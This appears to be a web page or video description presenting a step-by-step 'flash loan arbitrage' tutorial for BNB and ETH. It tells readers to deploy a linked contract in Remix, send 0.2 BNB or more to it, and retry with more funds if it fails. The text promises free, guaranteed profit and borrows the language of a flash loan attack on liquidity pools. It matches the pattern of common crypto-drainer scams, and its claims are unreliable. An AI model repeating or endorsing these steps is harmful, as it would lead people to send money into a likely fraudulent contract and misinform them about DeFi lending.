Flash loan arbitrage tutorial to get FREE BNB with no collateral using a BNB flash loan attack on the BSC or Ether network.
Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
What do I think about such crypto flash loans and are Binance loans better? – Watch this Binance loans review until the end to find out.
Step By Step Tutorial for Flash Loan:
►► This procedure can be use on Ether (ETH) or BNB
Step 1: Open and setup Remix in browser (http://remix.ethereum.org)
Step 2: Click the contracts folder then the create new file icon, create a file call it contract.sol hit ENTER (Create this file in the contracts folder (Watch Video)
Step 3: Copy and paste the contract code link below into REMIX Panel
Step 4: Click compile contract.sol (Wait for the code to compile… wait 1-5 minutes until finish)
Step 5: Click Solidity Compiler Icon (2nd menu button from the left) and then Change Compiler version to 0.6.6
Step 6: Change Environment to (Injected Web3)
Step 7: Connect your wallet when prompted (Metamask Preferable)
Step 8: Enter your token details and deploy the contract (MyToken)
Step 9: Enter your token Symbols (TKO)
Step 10: Enter Loan Amount Minimum should be 10000
Step 11: Click Deploy & Run ICON (3rd menu button from the left)
Step 12: Click confirm on wallet/metamask (wait for confirmation)
Step 13: Click Deploy & Run transaction icon (3rd menu button from the left)
Step 14: New contract will appear under DEPLOYED Contract Field
Step 15: Copy new contract address generated from the loan pool
Step 16: Click send on METAMASK & Paste Contract Address
Step 17: Send 0.2+ BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, it’s going to take around 0.18-0.19 BNB fees)
Step 18: Wait for the transaction to confirm.
Step 19: Call “action” function.
Note: if it doesn’t work with 0.2 BNB try to send another 0.2 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 10000 BNB you are borrowing)
Avoid using very low amounts as contract may fail below 0.15 BNB
Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your BNB out to another wallet when you’re done.
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